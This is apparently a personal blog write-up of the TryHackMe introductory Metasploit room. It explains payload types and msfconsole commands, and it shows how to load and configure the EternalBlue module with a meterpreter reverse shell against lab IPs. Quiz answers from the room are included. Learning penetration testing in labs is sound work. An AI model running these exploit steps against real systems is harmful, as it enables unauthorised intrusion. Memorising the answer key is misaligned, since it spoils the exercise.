Sitemap
eXpl017

eXpl017

Metasploit TryHackMe

5 min readSep 17, 2023

I finally think i need to learn this, have been delaying it for so long, so lets start. This will be just an intro to the framework. You can find the room here.

Metasploit
- most widely used exploitation framework
- can support all phases of pentesting
-two types:
— metasploit pro - commercial version, facilitates automation and management of task, has a GUI
— metasploit framework - open source version, works from command line
- can also be useful for vuln research and exploit development
- main components:
— msfconsole - cmd line intf
— modules - supporting modules like exploit, scanner,
— tools - standalone tools which helps vuln research, assessment, pentesting. eg: msfvenom, pattern_create, pattern_offset.

msfconsole to start the console, interact with modules from here.

Concepts revision:
- vulnerability — design, coding, logic flaw affecting the system.
- exploit — piece of code using the flaw in the system.
- payload — to get result we want after exploiting the system, these run on the target system.

Types of payloads:
- adapters — wrapper for payloads to convert them to diff formats. Eg. PowerShell adapter wraps the payload and makes it a powershell command
- singles — self contained payloads, dont need additional components to run
- stagers — small payload which is sent to the target, and the main payload is downloaded there directly by it
- stages — downloaded by stager, allows user to use larger payloads

To identify singles and staged payloads, notice the path:
- generic/shell_reverse_tcp — there is a ‘_’ between shell and reverse
- windows/x64/shell/reverse_tcp — there is a ‘/’ between shell and reverse

Q. What is the name of the code taking advantage of a flaw on the target system?
A → exploit

Q. What is the name of the code that runs on the target system to achieve the attacker’s goal?
A → payload

Q. What are self-contained payloads called?
A → singles

Q. Is “windows/x64/pingback_reverse_tcp” among singles or staged payload?
A → singles

The msfconsole can be used just like the cmd line, like using ls, cd, pwd, whoami etc. but you cannot do things like output redirection.

You can use help to get all the different types of commands, and help <command> to get help for that specific one. history gives the 10 prev used commands by default.

msfconsole is managed by context. If you switch the module, then all the set parameters will be lost.

To use an exploit, use command is present. ex:

msf6 > use exploit/windows/smb/ms17_010_eternalblue
[*] No payload configured, defaulting to windows/x64/meterpreter/reverse_tcp
msf6 exploit(windows/smb/ms17_010_eternalblue) >

show options tells us the options which need to be set:

msf6 exploit(windows/smb/ms17_010_eternalblue) > show options

Module options (exploit/windows/smb/ms17_010_eternalblue):

Name Current Setting Required Description
---- --------------- -------- -----------
RHOSTS yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:'
RPORT 445 yes The target port (TCP)
SMBDomain . no (Optional) The Windows domain to use for authentication
SMBPass no (Optional) The password for the specified username
SMBUser no (Optional) The username to authenticate as
VERIFY_ARCH true yes Check if remote architecture matches exploit Target.
VERIFY_TARGET true yes Check if remote OS matches exploit Target.


Payload options (windows/x64/meterpreter/reverse_tcp):

Name Current Setting Required Description
---- --------------- -------- -----------
EXITFUNC thread yes Exit technique (Accepted: '', seh, thread, process, none)
LHOST 10.10.220.191 yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port


Exploit target:

Id Name
-- ----
0 Windows 7 and Server 2008 R2 (x64) All Service Packs


msf6 exploit(windows/smb/ms17_010_eternalblue) >

The above context can be left using back, and info about the exploit like the author, sources etc can be gained using info:

msf6 exploit(windows/smb/ms17_010_eternalblue) > back
msf6 >

We can also search modules for a given parameter using search.

msf6 > search ms17-010

Matching Modules
================

# Name Disclosure Date Rank Check Description
- ---- --------------- ---- ----- -----------
0 auxiliary/admin/smb/ms17_010_command 2017-03-14 normal No MS17-010 EternalRomance/EternalSynergy/EternalChampion SMB Remote Windows Command Execution
1 auxiliary/scanner/smb/smb_ms17_010 normal No MS17-010 SMB RCE Detection
2 exploit/windows/smb/ms17_010_eternalblue 2017-03-14 average Yes MS17-010 EternalBlue SMB Remote Windows Kernel Pool Corruption
3 exploit/windows/smb/ms17_010_psexec 2017-03-14 normal Yes MS17-010 EternalRomance/EternalSynergy/EternalChampion SMB Remote Windows Code Execution
4 exploit/windows/smb/smb_doublepulsar_rce 2017-04-14 great Yes SMB DOUBLEPULSAR Remote Code Execution


Interact with a module by name or index, for example use 4 or use exploit/windows/smb/smb_doublepulsar_rce

msf6 >

Another important thing is the rank. That rank tells us the exploits reliability:

Press enter or click to view image in full size
Img source: https://github.com/rapid7/metasploit-framework/wiki/Exploit-Ranking

type:<type> can be used in search for specific requirements.

Get eXpl017’s stories in your inbox

Join Medium for free to get updates from this writer.

Q. How would you search for a module related to Apache?
A → search apache

Q. Who provided the auxiliary/scanner/ssh/ssh_login module?
A → todb

Press enter or click to view image in full size
info for the exploit

Now lets try to set the required parameters. Also, some parameters will already be having a value (defaults), which could or could not be correct for our scenario. The format is always the same:
set PARAMETER_NAME VALUE

Now, from the earlier image (show options), we know which parameters are must, so we set them now:

RHOSTS — the IP of the remote host/target machine needs to be set. supports the CIDR notation or network range, or also a file which has the IPs listed.

msf6 exploit(windows/smb/ms17_010_eternalblue) > set rhosts 10.10.165.39
rhosts => 10.10.165.39


# in case of using a file of IPs:
msf6 exploit(windows/smb/ms17_010_eternalblue) > set rhosts file:<PATH_TO_FILE>

Once the value is set, we can check by show options if the value was set correctly or not.

Other common values we set:
RPORT — remote port
Payload — payload you wish to use
LHOSTS — attacking machine IP
LPORT — attacking port, for reverse shell to connect back to
SESSION — connection established with target has a session id, need to use it with post exploitation modules

To clear all parameters’ values: unset OR unset all

To make the set value of a parameter global, use setg. Now if one chamges the module, the values would not be vanished. To remove values set using setg use unsetg.

Once all parameters are set, you can launch the module by exploit command (alternative to this is the run command, as the word exploit doesn’t make sense in all scenrios).

Using exploit -z runs the exploit and backgrounds the sessions as soon as it opens.

Once the vuln has been successfully exploited, session is created between metasploit and target. Can use background or CTRL+Z to go back to the module shell. sessions command shows all active/existing sessions, and to interact with the session, use session -i <session-number>.

Q. How would you set the LPORT value to 6666?
A→ set LPORT 6666

Q. How would you set the global value for RHOSTS to 10.10.19.23 ?
A→ setg RHOSTS 10.10.19.23

Q. What command would you use to clear a set payload?
A→ unset payload

Q. What command do you use to proceed with the exploitation phase?
A→ exploit

This wasnt much but it was something. Intro to Metasploit is done!

THANK YOU!!!

--

--